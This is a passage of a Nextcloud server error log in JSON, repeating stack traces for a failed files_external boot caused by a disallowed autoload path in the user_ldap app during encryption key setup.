/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"8v3G8PZHeDVedVIAoQbG","level":4,"time":"2022-11-09T12:55:31+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/css/core/a732-e3f2-server.css?v=b92d206521717ac032f8aa58d3c7ff2f-b5125f36-0","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"AG2GdCgtER7rFAtfswnj","level":4,"time":"2022-11-09T12:55:32+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/css/icons/icons-vars.css?v=1667998521","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"r0L4o6mKN3Zm6uEdU8bp","level":4,"time":"2022-11-09T12:55:32+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/css/spreed/904f-e3f2-unified-search.css?v=b92d206521717ac032f8aa58d3c7ff2f-904fe0c3-0","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"Be3Oc1GCdjVVvSERsH3q","level":4,"time":"2022-11-09T12:55:32+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/css/spreed/904f-e3f2-merged-files.css?v=b92d206521717ac032f8aa58d3c7ff2f-904fe0c3-0","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all 